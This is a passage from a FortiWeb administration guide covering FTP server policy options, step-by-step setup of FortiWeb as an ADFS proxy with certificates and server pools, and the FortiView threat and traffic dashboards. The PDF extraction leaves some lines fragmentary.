Supplementing a server certificate with its signing chain on page 404.
Configure additional SSL settings, including supported SSL protocols
Advanced SSL Settings and encryption levels.
These options are available only if you enable SSL on page 271.

Supported SSL Protocols Specify which versions of the TLS cryptographic protocols clients can
use to connect securely to FortiWeb or your server(s). For details
about which protocols to enable, see Supported cipher suites &
SSL/TLS Encryption Specify whether the set of cipher suites that FortiWeb allows creates
Level a medium-security, high-security, or customized security
configuration.
If you specify Customized, you can select ciphers and use the arrow
keys to move ciphers to the appropriate list.
For details about cipher suites, see Supported cipher suites & protocol
versions on page 388.
Disable Client-Initiated Enable so that FortiWeb will ignore requests from clients to
SSL Renegotiation renegotiate SSL/TLS. If enabled, this option protects against denial-
of-service (DoS) attacks that use TLS/SSL renegotiation to burden the
server(s).
FTP Security Profile Specify the FTP security profile to apply to connections that this policy
monitors. If you haven't created a profile yet, see Configuring an
FTP security inline profile on page 263 for instructions about creating
one.
Monitor Mode Enable to override any enforcement actions in the FTP Security

Profile, including actions that are included in sub-profiles and rules.
Instead, FortiWeb will accept all requests and generate an alert email
and/or log message for all policy violations.
Comments Optionally, enter a description or comment for the policy. The

description can be up to 999 characters in length.
4. Click OK.
When you create a server policy, by default, the policy is enabled. The server policy is displayed at Policy
> Server Policy.
Legitimate FTP traffic should now be able to flow, and FortiWeb will respond to policy-violating traffic with the
enforcement actions specified in the server policy.
5. To verify the server policy, test it by forming connections between legitimate clients and servers at various points
within your network topology. Also attempt to send traffic that violates a rule in the server policy to confirm that
FortiWeb responds appropriately.
Enabling or disabling a policy
You can enable and disable server policies that you've created.
Disabling an FTP server policy could block all FTP traffic if no remaining active
server policies match the traffic. When no policies exist or none are enabled, the
FortiWeb appliance blocks all FTP/FTPS traffic.

Even if you disable a server policy, it still consumes memory. If you don't plan to use the policy for some time, consider
deleting it instead.
To enable or disable a policy
2. In the row corresponding to the policy that you want to enable, click the switch on in the Enable column.
3. In the row corresponding to the policy that you want to disable, click the switch off in the Enable column.

ADFS Proxy 274
ADFS Proxy
FortiWeb as an ADFS proxy
Active Directory Federation Services (ADFS) is a Single Sign-On (SSO) solution created by Microsoft. It provides users
with authenticated access to applications located across organizational boundaries. Developed to provide flexibility,
ADFS gives organizations the ability to simplify the user experience: users only need to remember a single set of
credentials to access multiple applications through SSO.
Usually, the ADFS server is deployed inside your organization’s internal network. If you have an application (or web
service) that is Internet facing, this can cause an issue, becasue when a user on the Internet contacts the application (or
web service), then the application redirects the user to the ADFS server for identity authentication, the user will not be
able to connect to the internal ADFS server.
To solve this issue, FortiWeb can be deployed as an ADFS proxy in your organization’s perimeter network (DMZ or
extranet). The external clients connect to FortiWeb when requesting the security token, FortiWeb then forwards the
requests to the ADFS server in the internal network. As far as the user is concerned, they do not know they are talking to
an ADFS proxy, because the federation services are accessed by the same URLs.
Except from playing the role of ADFS proxy, FortiWeb also acts as a web applicaiton firewall for your ADFS servers. You
can leverage the powerful threats protection features on FortiWeb to keep your ADFS servers safe from vulnerability
exploits, bots, malware uploads, DoS attacks, advanced persistent threats (APTs), and zero day attacks.

ADFS Proxy 275
The workflow of the ADFS authentication process
The following figure illustrates a typical ADFS authentication process, and the FortiWeb's role in it.
1 The user sends access requests to a web applicaiton which requires

identity authentication.
Initiation
2 The web application responds with a URL that redirects the user to
the ADFS server for identity authentication.
Certificate authentication 3A The user sends a certificate authentication request to the service port
process 49443 of FortiWeb.
4A FortiWeb uses the locally installed CA to verify if the certificate is

valid. If yes, FortiWeb forwards the certificate authentication request
to the ADFS server.
User credential 3B The user sends a user name and password authentication request to
authentication process the service port 443 of FortiWeb.
4B FortiWeb forwards the user name and password to the ADFS server.
Authentication result 5 Upon authenticating, the ADFS server provides the user with an
feedback authentication claim.
Connection to web 6 The user’s browser then forwards this claim to the target application.
application
FortiWeb supports the following ADFS versions:

ADFS Proxy 276
l ADFS 3.0 on Windows Server 2012 R2

l ADFS 4.0 on Windows Server 2016
l ADFS 5.0 on Windows Server 2019
From 6.3.0, FortiWeb has added support for Microsoft Server API version 2. In versions earlier than 6.3.0, FortiWeb
only supports Microsoft Server API version 1.

Configuring FortiWeb as an ADFS proxy 277
Configuring FortiWeb as an ADFS proxy
To configure FortiWeb as an ADFS proxy, you need to:

l Create a virtual server specifying the IP address and network interface.
l Import a certificate file to set up secure connections with the ADFS servers.
l Create a server pool that contains the ADFS server. It's supported to add single server in an ADFS server pool.
l Import a CA file to verify the certificate authentication requests from Internet users (for certificate authentication
requests).
l Create an ADFS server policy that references the virtual server, server pool, certificate validation rule, the service
ports for certificate authentication requests and credential authentication requests, etc.
When deployed as an ADFS proxy, FortiWeb supports only the Reverse Proxy operation mode.
For details on the ADFS proxy configurations, please see the subsections under this topic.
Until you configure and enable at least one policy, FortiWeb will by default deny all traffic.

Configuring a virtual server 278
Configuring a virtual server
Virtual server defines the network interface and IP address where traffic destined for a server pool arrives. When the
FortiWeb appliance receives traffic destined for a virtual server, it can then forward the traffic to an ADFS server.
To configure a virtual server
1. Go to Server Objects > Server > Virtual Server.

permission to items in the Server Policy Configuration category.
configuration. Do not use spaces or special characters. The maximum length
is 63 characters.
Use Interface IP Select if you want use the IP address of the specified network interface as the
address of the virtual server.
IPv4 Address Enter the IP address and subnet of the virtual server. The IP address should
IPv6 Address be the public IP address of the ADFS service.
Note: If a policy uses any virtual servers with IPv6 addresses, FortiWeb does
not apply features in the policy that do not yet support IPv6, even if you
include them in the policy.
Interface Select the network interface the virtual server is bound to and where traffic
destined for the virtual server arrives.
To configure an interface, go to Network > Interface. For details, see "To
configure a network interface or bridge" in FortiWeb Administration Guide
(https://docs.fortinet.com/fortiweb/admin-guides).
4. Click OK.

Creating an ADFS server pool
When FortiWeb receives traffic destined for the virtual server, it forwards the traffic to the server pool containing the
ADFS servers.
The ADFS servers require a valid client certificate to secure the connections. You need to upload the client certificate for
FortiWeb, then reference this certificate in the server pool settings.
To upload a certificate
1. Go to System > Certificates > Local.
permission to items in the Admin Users category.
2. Click Import.
3. Select PKCS12 Certficate for the Type option.
4. Click Browse to locate the PKCS12 certificate file that you want to upload.
5. Type the password that was used to encrypt the file, so that FortiWeb can decrypt and install the certificate. Skip
this step if the certificate file is not encrypted with a password.
6. Click OK.
To configure a server pool
1. Go to System > Config > Feature Visibility, then enable ADFS Policy. Skip this step if it is already enabled.
permission to items in the System Configuration category.
3. Click Create New > Create ADFS Server Pool.
4. Type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters.
5. Type a name for the ADFS Server. It should be the federation service name. This option is mandatory if the ADFS
Server needs to verify the server name in the SSL handshake.
6. Select Single Server or Server Balance. In Server Balance mode, you can add multiple servers in server pool.
The load balancing rule for the ADFS server is Source IP Hash. It distributes new TCP connections using a hash
7. If you have selected Server Balance, specify a Server Health Check rule to test server availability. By default, this
health check is used for all pool members, but you can use the pool member configuration to assign a different
health check to a member. For details, see Configuring server up/down checks on page 163.
8. Type comments if any.
9. Click OK to create the server pool. The ADFS server pool type is Reverse Proxy by default, and it only supports
single server in the server pool.
10. Click Create New to create a server pool rule.
ID The index number of the member entry within the server pool.

FortiWeb automatically assigns the next available index number.
Status l Enable—Specifies that this pool member can receive new sessions from
FortiWeb.
l Disable—Specifies that this pool member does not receive new sessions
from FortiWeb and FortiWeb closes any current sessions as soon as
possible.
l Maintenance—Specifies that this pool member does not receive new
sessions from FortiWeb but FortiWeb maintains any current connections.
Server Type Select either IP or Domain to indicate how you want to define the pool
member.
If you select Domain, ensure you have configured a DNS server so that
FortiWeb can query and resolve the domain name to an IP address.
IP If you have selected IP for Server Type, type the ADFS server's IP.
Domain If you have selected Domain for Server Type, type the ADFS server's
domain name. FortiWeb will query the DNS server and resolve the domain
name to an IP address.
Port Type the TCP port number where the pool member listens for connections
from FortiWeb.
The default port number used is 443.
The port number may vary. Check the ones used by your ADFS servers and
enter the number here.
Connection Limit Specifies the maximum number of TCP connections that FortiWeb forwards
to this pool member.
The default is 0 (disabled).
The valid range is from 0 to 1,048,576.
Inherit Health Check Disable to use the health check specified by Server Health Check in this
server pool rule instead of the one specified in the server pool configuration.
Available only if Server Balance is selected.
Health Check Domain Name Enter an HTTP host header name to test the availability of a specific host.
This is useful if the pool member hosts multiple websites (virtual hosting
environment).

Backup Server When this option is selected and all the members of the server pool fail their
server health check, FortiWeb routes any connections for the pool to this
server.
The backup server mechanism does not work if you do not specify server
health checks for the pool members.
If you select this option for more than one pool member, FortiWeb uses the
load balancing algorithm to determine which member to use.
Username for Registration Type the username that will be used by FortiWeb to connect with the ADFS
server. The credentials can be either of the following:
l The internal/corporate domain credentials for an account that is member
of the local Administrators group on the internal ADFS servers (does not
have to be the ADFS service account)
l The internal/corporate domain ADFS service account credentials, as
used during the ADFS configuration.
You should include the domain to which FortiWeb and the ADFS server
belong. For example, domain1\administrator.
Password for Registration Type the password for the username entered above.
Client Certificate Select the client certificate that you have uploaded in the previous steps. It is
used to secure the connections between FortiWeb and the ADFS server.
12. Configure SSL settings if necessary.
Supported SSL Protocols Specify which versions of the SSL or TLS cryptographic protocols clients can
use to connect securely to this pool member.
For details, see "Supported cipher suites & protocol versions" in FortiWeb
Administration Guide (https://docs.fortinet.com/fortiweb/admin-guides).
SSL/TLS Encryption Level Specify whether the set of cipher suites that FortiWeb allows creates a
medium-security, high-security, or custom configuration.
For details, see "Supported cipher suites & protocol versions" in FortiWeb
Session Ticket Reuse Enable so that FortiWeb reuses the session ticket when establishing an SSL
can only reuse a session ticket for the specified pserver.
Session ID Reuse Enable so that FortiWeb reuses the session ID when establishing an SSL
can only reuse a session ID for the specified pserver. If both a session ticket
and ID exist for a pserver, FortiWeb will reuse the ticket.

13. Configure advanced settings if necessary.
Recover Specifies the number of seconds that FortiWeb waits before it forwards traffic
to this pool member after a health check indicates that this server is available
again.
After the recovery period elapses, FortiWeb assigns connections at the rate
specified by Warm Rate on page 282.
Examples of when the server experiences a recovery and warm-up period:
l A server is coming back online after the health check monitor detected it
was down.
l A network service is brought up before other daemons have finished
initializing and therefore the server is using more CPU and memory
resources than when startup is complete.
To avoid connection problems, specify the separate warm-up rate, recovery
rate, or both.
Tip: During scheduled maintenance, you can also manually apply these limits
by setting Status to Maintenance.
Warm Up Specifies for how long FortiWeb forwards traffic at a reduced rate after a
health check indicates that this pool member is available again but it cannot
yet handle a full connection load.
For example, when the pool member begins to respond but startup is not fully
complete.
Warm Rate Specifies the maximum connection rate while the pool member is starting up.
The default is 10 connections per second. The valid range is 0 to 86,400
connections per second.
The warm up calibration is useful with servers that bring up the network
service before other daemons are initialized. As these types of servers come
online, CPU and memory are more utilized than they are during normal
operation. For these servers, you define separate rates based on warm-up
and recovery behavior.
For example, if Warm Up on page 282 is 5 and Warm Rate is 2, the
maximum number of new connections increases at the following rate:
l 2nd second—2 new connections added for a total of 4 new connections
allowed (2+2).
l 3rd second—2 new connections added for a total of 6 new connections
allowed (4+2).
allowed (6+2).
allowed (8+2).
14. Click OK.

Uploading trusted CA certificates
In order for FortiWeb to authenticate client certificates, you must upload trusted CA certificates to FortiWeb.
To be valid, a client certificate must:
l Not be expired.
l Not be revoked by a certificate revocation list (CRL).
l Be signed by a certificate authority (CA) whose certificate you have imported into the FortiWeb appliance. For
details, see "Uploading trusted CA certificates" in FortiWeb Administration Guide
l Contain a CA field whose value matches a CA’s certificate.
l Contain an Issuer field whose value matches the Subject field in a CA’s certificate.
Certificate validation rules tell FortiWeb which set of CA certificates to use when it validates personal certificates. They
also specify a CRL, if any, if the client’s certificate must be checked for revocation.
To use CA certificates in a certificate verification rule for PKI authentication, you'll need to create a CA group for the CA
certificate(s) that you want to include.
To upload a CA’s certificate
1. Obtain a copy of your CA’s certificate file.

If you are using a commercial CA, your web browser should already contain a copy in its CA trust store. Export a
copy of the file to your desktop or other folder.
If you are using your own private CA, download a copy from your CA’s server. For example, on Windows Server
2003, you would go to:
https://<ca-server_ipv4>/certsrv/
where <ca-server_ipv4> is the IP address of your CA server. Log in as Administrator. Other accounts
may not have sufficient privileges. The Microsoft Certificate Services home page for your server’s CA should
appear, and you can download a CA certificate, certificate chain, or CRL from there.
Verify that your private CA’s certificate does not contain its private keys.
Disclosure of private keys compromises the security of your network, and will
require you to revoke and regenerate all certificates signed by that CA.
2. Go to System > Certificates > CA and select the CA tab.

permission to items in the Admin Users category. For details, see "Permissions" in FortiWeb Administration
Guide (https://docs.fortinet.com/fortiweb/admin-guides).
3. Click Import to upload a certificate.
4. Enable Local PC and browse to find a certificate file.
5. Click OK.
6. To use the CA certificate when validating clients’ personal certificates, select it in a CA certificate group, which is
then selected in a certificate verification rule. For details, see To configure a CA certificate group.

To configure a CA certificate group
1. Go to System > Certificates > CA and select the CA Group tab.

3. For Name, enter a name that can be referenced by other parts of the configuration. The maximum length is 63
characters.
4. Click OK.
6. For ID, FortiWeb automatically assigns the next available index number.
7. For CA, select the name of a certificate authority’s certificate that you previously uploaded and want to add to the
group.
8. Enable Publish CA Distinguished Name to list only certificates related to the specified CA. This is beneficial
when a client installs many certificates in its browser or when apps don't list client certificates. If you enable this
option, also enable the option in a certificate validation rule. For details, see To configure a certificate
validation rule.
9. Click OK.
10. To apply a CA group, select it in a certificate verification rule. For details, see To configure a certificate
validation rule.
To configure a certificate validation rule
1. Go to System > Certificates > Certificate Verify.

Name Type a name that can be referenced in other parts of the configuration. The
CA Group Select the name of the CA Group you have created in the previous steps.
CRL Group Select the name of an existing CRL Group, if any, to use to verify the
revocation status of client certificates. For details, see "Revoking certificates"
in FortiWeb Administration Guide (https://docs.fortinet.com/fortiweb/admin-
guides).
Publish CA Distinguished Enable to list only certificates related to the specified CA group. This is
Name beneficial when a client installs many certificates in its browser or when apps
don't list client certificates. If you enable this option, also enable the option in
a CA group. For details, see "Grouping trusted CA certificates" in FortiWeb
Strictly Require Client Enable it so that FortiWeb requires a client to provide a client certificate during
Certificate the SSL handshake. When enabled, if a client doesn't provide a client
certificate during the SSL handshake, FortiWeb won't accept the request.

4. Click OK.
Creating an ADFS server policy
To configure a policy
1. Go to System > Config > Feature Visibility, then enable ADFS Policy. Skip this step if it is already enabled.
permission to items in the System Configuration category.
3. Click Create New > Create ADFS policy.
4. Configure the following settings.
Policy Name Type a name that can be referenced by other parts of the configuration. Do
not use spaces or special characters. The maximum length is 63 characters.
Virtual Server Select the name of the virtual server you have created.
Server Pool Select the name of the server pool you have created.
Syn Cookie Enable to prevent TCP SYN floods. If this option is enable, the Half Open
Threshold below is also required to configure.
For details, see DoS prevention in FortiWeb Administration Guide
Half Open Threshold Type the TCP SYN cookie threshold in packets per second.
ADFS Certificate Configure this option if the ADFS server requires client certificate for
Authentication Service authentication.
Select the pre-defined service TLSCLIENTPORT if FortiWeb uses service

port 49443 to listen to the certification authentication requests.
To define a custom service, go to Server Objects > Service. For details, see
"Defining your network services" in FortiWeb Administration Guide
Certificate Verification for Select the certificate validation rule you have created.
Certificate Authentication
HTTPS Service Configure this option if the ADFS server requires username and password for
authentication.
Select the pre-defined service HTTPS if FortiWeb uses service port 443 to
listen the credential authentication requests.
To define a custom HTTPS service, go to Server Objects > Service. For
details, see "Defining your network services" in FortiWeb Administration Guide

Certificate Select the server certificate that FortiWeb uses to encrypt or decrypt SSL-
secured HTTPS connections with the clients.
intermediary CA has signed the server certificate specified by the selected
Certificate, not a root CA or other CA currently trusted by the client directly.
itself before you upload it to FortiWeb. For details, see "Uploading a server
certificate" and "Supplementing a server certificate with its signing chain" in
FortiWeb Administration Guide (https://docs.fortinet.com/fortiweb/admin-
guides).
Web Protection Profile Select the profile to apply to the connections that this policy accepts, or select
Create New to add a new profile in a pop-up window, without leaving the
current page.
The most suitable protection features to apply to the ADFS policy are
Signatures, URL Rewriting, and Site Publish. Using them in the protection
profile is sufficient for most of the ADFS protection scenario.
Replacement Message Select the replacement message to apply to the policy.
Monitor Mode Enable to override any actions included in the profiles. Instead, FortiWeb will
accept all requests and generate an alert email and/or log message for all
policy violations.
This setting does not affect any rewriting or redirection actions in the
protection profiles, including the action to remove poisoned cookies.
Note: Logging and/or alert email occur only if you enable and configure them.
For details, see "Logging" and "Alert email" in FortiWeb Administration Guide
URL Case Sensitivity Enable to differentiate uniform resource locators (URLs) according to upper
case and lower case letters for features that act upon the URLs in the headers
of HTTP requests.
http://www.Example.com/ would not match profile features that
specify http://www.example.com (difference is lower case “e”).
Comments Type a description or other comment. The description can be up to 999

characters long.
5. In most cases, the Advanced SSL settings are not necessary for the ADFS server policy. Configure them only if
they are indeed suitable for your scenario.
Certificate Verification for Select the certificate validation rule you want to use for HTTPS connections.
HTTPS
Enable Server Name Select to use a Server Name Indication (SNI) configuration instead of or in
Indication (SNI) addition to the server certificate.


present on behalf of the members of a pool based on the domain in the client
request. For details, see "Allowing FortiWebto support multiple server
certificates" FortiWeb Administration Guide
If you specify both an SNI configuration and Certificate, FortiWeb uses the
certificate specified by Certificate when the requested domain does not
match a value in the SNI configuration.
Supported SSL Protocols Specify which versions of the SSL or TLS cryptographic protocols clients can
use to connect securely to the FortiWeb appliance or back-end servers.
For details, see "Supported cipher suites & protocol versions " in FortiWeb
SSL/TLS encryption level Specify whether the set of cipher suites that FortiWeb allows creates a
medium-security, high-security or customized security configuration.
If you select Customized, you can select a cipher and then use the arrow
keys to move it to the appropriate list.
For details, see "Supported cipher suites & protocol versions " in FortiWeb
Disable Client-Initiated SSL Select to configure FortiWeb to ignore requests from clients to renegotiate
Renegotiation TLS or SSL.
Protects against denial-of-service (DoS) attacks that use TLS/SSL
6. Click OK.
The server policy is displayed in the list on Policy > Server Policy. Initially, it is enabled.
Legitimate traffic should now be able to flow, while policy-violating traffic (that is, traffic that is prohibited by the
settings in your policy or protection profile) may be blocked, depending on your Action settings for the rule that the
traffic has violated.
7. To verify the policy, test it by forming connections between legitimate clients and servers at various points within
your network topology. Also attempt to send traffic that violates your policy, and should be logged, modified, or
blocked.
If ADFS proxy is running, you can find in Log&Report->Event the event logs whose action name is adfsproxy-
status-check. If the ADFS proxy is running incorrectly, the Message field will display an error message.

appliance or elsewhere on the network. For details, see "Troubleshooting" and "Reducing false positives" in FortiWeb
Troubleshooting
ADFS debug mode
Enable debug mode for ADFS feature.

#diagnose debug application adfsproxy 7
#diagnose debug enable
ADFS deamon
FortiWeb has a deamon process for ADFS proxy feature. The process name is adfsproxyd.

FortiView 289
FortiView
FortiView is a graphical analysis tool. It displays real-time and historical web traffic data so that you can visualize and
drill down into your FortiWeb configuration and its environment, including server/IP configurations, attack and traffic
logs, attack maps, and user activity. You can see information about specific types of attacks, where attacks are
originating, who carries out attacks, and how policies and settings handle attacks.
FortiView makes it easy to get an actionable picture of your network's web traffic. This information allows you to
precisely configure FortiWeb according to your environment and ensure that your configuration is set up to defend
against common threats. FortiView has four menus: Topology, Security, Traffic and Sessions.
Topology
FortiView's Topology menu allows you to monitor policy information for:

l A single server
l Server pools
l Content routing settings
You can view the status of each server policy, their server or server pool(s), and the status of each server. You can also
view the status of each content routing policy associated with each server policy.
For details, see Topology on page 296.
Security
FortiView's Security menu allows you to monitor threats, including:

l Countries originating attacks
l Devices originating attacks
l Server policies filtered attacks
l Specific types of attacks
You can also view a real-time threat map and set up scanner integration to learn more about your environment to
tighten security.
For details, see Security on page 301.
Traffic
FortiView's Traffic menu allows you to monitor:

l The source of each session
l The originating country of each session
You can also view information such as HTTP/S transactions and versions, HTTP methods, and HTTP response codes of
web traffic.
For details, see Traffic on page 313.

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Sessions
FortiView's Sessions menu allows you to monitor the following information about each session:
l Server policy
l Source IP
l Destination IP
You can also view the source port and destination port of each session, view the established connection time of each
session, and end sessions as needed.
For more information, See Sessions on page 317.
Interface
This section shows you how to navigate the FortiView interface for the Security, Traffic, and Sessions menus.
FortiView's Topology menu uses a unique interface; for details, see Topology on page 296.
Navigating FortiView
FortiView's Security, Traffic, and Sessions menus each have a top menu bar and graphical analysis window that you can
use to filter information and toggle between various view modes, as seen in the following image:

FortiView 291
Use these settings along the top of the window to view and filter web traffic data:
Click the Refresh icon to update the web traffic data.
Click the Add Filter icon to filter the web traffic data. From
here, you can enter the specific category or categories for
which you want to filter, or select available categories from a
drop-down menu.
Alternatively, you can double-click web traffic data to filter
information for the category you select.
Use the View Type icon to select how FortiWeb presents web
traffic data. The default view type is Table View. The available
view types are:
l Table View
l Bubble Chart
l Country Map
Note: All view types may not be available for all types of web
traffic data in FortiView.
Select the time period within which to view web traffic data.
Example: Filtering web traffic data
You can filter web traffic data to drill down from a high-level overview to a detailed analysis of particular elements of
your environment. From the Security, Traffic, and Sessions menus, the process is essentially the same.
Below is an example using the Security menu to illustrate how the filtering and drill down process works.
1. Go to FortiView > Security > Countries.
2. Click Add Filter, select Country, and either enter the name of the country or select the country from the drop-
down menu. In this case, we select China.
3. Double-click the country in the list below to view a summary of the country.

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You will see the country's Threats, Threat Score, Action (Block/Alert), and Service (HTTP/HTTPS) in the
specified time period; you will also be able to select tabs to view specific Threats, Sources, Client Devices,
HTTP Methods, URLs, and CVE ID from the country:
4. Double-click the Bad Robot threat category under the Threats tab. Every bad robot attack launched from China
within the selected time period will be viewable.
This step could be completed for any threat category in the Threats tab, or under
any other tab from the country summary page in Double-click the country in the
list below to view a summary of the country. on page 291. For example, if you
select the Sources tab, you will be able to see every source IP address from the
selected country, and can drill down into attacks from each source IP address.
5. Optionally, you can further drill down into your environment and set filters for the selected threat category. Click the
Add Filter icon and select among the available categories to drill down into:
You can set multiple filters to more precisely drill down into the environment.

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6. Double-click a specific attack to view its Log Details. The Log Details provide all of the available information
about a specific attack:
View Types
Three view types are available below and you can switch among them:
l Table View
l Bubble Chart
l Country Map
Use the Sort By drop-down menu in the top-right corner of the Bubble Chart or Country Map window to view data by:
l Threats
l Threat Score
For the Bubble Chart window, the size of the bubble represents the relative amount of data. Click a bubble to drill down
into the element and view more information.

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You can also mouse over an element to learn more information about it:

FortiView 295
For Country Map window, mouse over an element to learn more information about it:
You can locate a specific country on the map using the Add Filter icon. The selected country will be highlighted, and
every other country will be greyed out:

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Topology
FortiView's Topology menu provides visual representations for your single server or server pool configuration and
content routing settings for each policy. There are two View Types for each: Block View and Tree View.
Single Server/Server Pool
Go to FortiView > Topology > Single Server/Server Pool.

From this window, you can see each server policy and its server or server pool configuration. The default View Type is
Block View:
In the top-right corner of each block, the vserver IP is displayed; you can also view the IP of each server associated with
a given server policy next to that server in each policy block.
The arrow in the bottom-right corner of each block and next to a server IP in each block indicates:
Green The server is running.
Orange The server is not running.

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Alternatively, you can view each server policy and its server or server pool configuration in Tree View. In the top-left
corner of the window, click the View Type drop-down menu and select Tree View:
Each server policy branches to its server or server pool, and, if in a server pool configuration, then leads to each server in
the pool. You can click the (minimize) icon next to a server or server pool to hide the server(s) for that server or server
pool; click the (maximize) icon to display the server(s) for that server or server pool again.
To display information about a server policy, mouse over it:
To display information about a server or server pool, mouse-over it:

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To display information about a specific server, mouse-over it:
Content Routing
Go to FortiView > Topology > Content Routing.

From this window, you can see each content routing policy and its corresponding server policy. The default View Type
is Block View:

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To view information about a content routing policy, click the corresponding server policy block. You will be able to see
each content routing policy for that block:
The arrow next to a server IP in each block indicates:
Green The server is running.
Orange The server is not running.

FortiView 300
Alternatively, you can view each server policy and content routing policies in Tree View. In the top-left corner of the
window, click the View Type drop-down menu and select Tree View:
You can click the (minimize) icon next to a server or server pool to hide the server(s) for that server or server pool;
click the (maximize) icon to display the server(s) for that server or server pool again.
To display information about a server policy, mouse over it:
To display information about a content routing policy, mouse over it:

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To display information about a server pool, mouse over it:
To display information about a specific server, mouse over it:
See also
l Configuring an HTTP server policy

l Creating a server pool
l Routing based on HTTP content
Security
FortiView's Security menu provides information about the specific types of attacks FortiWeb detects, the countries in
which attacks originate, the server policies that handle threats, and the specific devices that attackers use.
You can see the total number of threats, threat scores, the types of actions FortiWeb carries out in response to specific
types of attacks, and how severe attacks are.
This gives you the ability to modify your FortiWeb configuration to best address specific threats your environment faces.
Countries
Go to FortiView > Security > Countries.

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From this window, you can see total threat data and threat data for each country:
Viewing individual countries
There are two ways to drill down into the key elements about a specific country:
l Double-click the country from the list of countries.
l Click the Add Filter icon and select the country.
A country summary provides an overview of the total threats, accumulated threat score, actions, and service used:
From here, you can also view information about specific types of threats, the source IP of attacks, the client devices that
launched attacks, HTTP methods used, and targeted URLs for the specified country under the Threats, Sources,
Client Devices, HTTP Methods, URLs, CVE ID, and OWASP Top10 tabs, respectively. You can use either the
Add Filter icon to filter for these things, or select the relevant tab and double-click the row of the thing you want to
know more about.

FortiView 303
You can even filter for a combination of these things. For example, below you can see the server policy that handled a
specific type of threat from a particular device that targeted a specific URL:
For any given country, you can drill down into specific threat, source IP, client device ID, HTTP method, URL, CVE ID,
and OWASP Top10 entries to learn more information about them via the Log Details. Below is an example.
Go to FortiView > Security > Countries.
To drill down into a country, double-click it.
Select the Sources tab.
You can select any tab for a country to view the Log Details of an attack. To view
the Log Details of an attack, you simply have to select a specific attack.
Drill down into an IP address.

You will see every attack made from that IP address.
Select a specific attack from the IP address. You will be able to see information about the attack from this IP address.
The Log Details will appear along the right side of the window:

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Threats
Go to FortiView > Security > Threats.

From this window, you can see total threat data that FortiWeb has detected:
Viewing specific threats
There are two ways to view information about a specific type of threat:
l Double-click the threat type from the list of threats
l Click the Add Filter icon and select the threat type
A summary for a particular threat type shows the threat level, total number of threats, accumulated threat score,
actions, and service used for that threat type:
From here, you can also view information about the source IP of attacks, countries from which attacks are launched, the
client devices that launched attacks, HTTP methods used, and targeted URLs under the Sources, Countries, Client
Devices, HTTP Methods, URLs, CVE ID, and OWASP Top10 for the specified threat. You can use either the
Add Filter icon to filter for these things, or select the relevant tab and double-click the row of the thing you want to
know more about.

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You can even filter for a combination of these things, including the amount of a specific type of threat from a particular
device in a given country that targeted a specific URL:
For any given type of threat, you can drill down into specific country, source IP, client device ID, HTTP method, URL,
CVE ID, and OWASP Top10 entries to learn more information about the threat via the Log Details. Below is an
example:
Go to FortiView > Security > Threats.
Select a threat.
Select the Sources tab.
You can select any tab for a country to view the Log Details of an attack. To view
the Log Details of an attack, you simply have to select a specific attack.
Double-click an IP address.
You will see every attack made from that IP address.

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Select a specific attack from the IP address. You will be able to see information about the attack from this IP address.
The Log Details will appear along the right side of the window:
Server Policies
Go to FortiView > Security > Server Policies.

This window shows total threat data and threat data for each server policy:
Viewing threats per server policy
Two ways are available to view key elements about a server policy:

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l Double-click the Server Policy name from the Server Policy list.
l Click the Add Filter icon and select the server policy.
The server policy summary page provides an overview of total threats, accumulated threat score, actions, and service
used.
Also, you can view information about specific types of threats, the source IP of attacks, the country where the attacks
come from, the client devices that launched attacks, HTTP methods used, targeted URLs, and CVE IDs for the
specified server policy under the tabs Threats, Sources, Countries, Client Devices, HTTP Methods, URLs, CVE
ID, and OWASP Top10 tabs respectively. You can use either the Add Filter icon to filter for these things, or select the
relevant tab and double-click the row of the thing you want to know more about.
You can even filter for a combination of these things. The image below shows targeted URL, and source IP of attacks of
a server policy.
For any given server policy, you can drill down into specific threat, source IP, country, client device ID, HTTP method,
URL, CVE ID, and OWASP Top10 entries to learn more information about them via the Log Details. Below is an

FortiView 308
example.
Threat Map
Go to FortiView > Security > Threat Map.

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The Threat Map displays network activity by geographic region. From this window, you can see a global map that shows
threats in real-time from specific countries:
In the top-right corner of the window, you can select:

now—View incoming threats in real-time.
1 hour—View a snapshot of incoming threats from the last hour.

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Bot Analysis
Go to FortiView > Security > Bot Analysis.
Bot Analysis displays statistics on access by search engine indexers and malicious bots such as DoS, Spam, Crawler,
etc. Statistics are gathered by DoS prevention on page 612 in anti-DoS rules,and Configuring known bots on page 754.
Based on this data, if an automated tool is abusing access, you can configure rate limiting with such as Combination
access control & rate limiting on page 437.
You can view information on the number of search engines and malicious bots in certain time periods. Click the pie
chart, and you can view the second level of one malicious bot.
See also
l DoS prevention on page 612
Scanner Integration
Go to FortiView > Security > Scanner Integration.

If you've configured FortiWeb to receive XML-format reports from third-party web vulnerability scanners, you can
visualize the scanner reports here.

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From this window, you can see a summary of mitigated and open threats from scanner reports:
In the top-right corner of the window, in the top menu bar, you can use the Vulnerability Status drop-down menu to view
either Open or Mitigated threats. You can also use the Add Filter icon in the top menu bar to filter for the following
information:
l Action
l Adom Name
l Date/Time
l File Name
l ID
l Profile Name
l Profile Type
l Rule Type
l Scanner Type
l Severity
l Vulnerability Name

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Under the Summary Information, you can see the severity of Open and Mitigated threats that the vulnerability scans
detect. Mouse over elements of the pie chart to learn more information:
Click elements of the pie chart to drill down into them. When you click an element to drill down into it, use the Statistics
by drop-down menu to view threats by:
l Severity
l Scanner Type
When viewing the pie chart by Severity or Scanner Type, click an element of the pie chart to drill down another level and
view the proportion of specific types of vulnerabilities for that element:
See also

l Blocking known attacks & data leaks

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l Blocking client devices with poor reputation

l Generating a protection profile using scanner reports
Traffic
FortiView's Traffic menu provides a graphical analysis of FortiWeb's web traffic, including the following information:
l Destination IP addresses
l Policies
l Domains
l HTTP Methods
l HTTP Response Codes
l URLs
You can view this information according to either source IP address or country of origin.
Sources
Go to FortiView > Traffic > Sources.

From this window, you can see web traffic from each source IP address:

FortiView 314
Use these settings along the top of the window to view and filter source data:
Click the Refresh icon to refresh the total web traffic data and
web traffic data for each source IP address.
Click the Add Filter icon to filter web traffic data by source.
From here, you can either enter the source that you want to
filter, or click Source and select the source from the menu.
Alternatively, you can double-click a source in the list to filter
information for that source.
Use the View Type icon to select how FortiWeb presents the
web traffic data. The default type is Table View. The available
types are:
l Table View
l Bubble Chart
Select the time period within which to view source IP address

data.
When you select a source, you will see that source's HTTP Transactions, the service used, the HTTP version, and bytes
sent/received in the selected time period. You can also drill down into the following tabs to view more information about
the selected source: Destinations, Policies, Domains, HTTP Methods, HTTP Response Codes, and URLs. For
example, the Destinations tab allows you to drill down into each destination IP address of the selected source:

FortiView 315
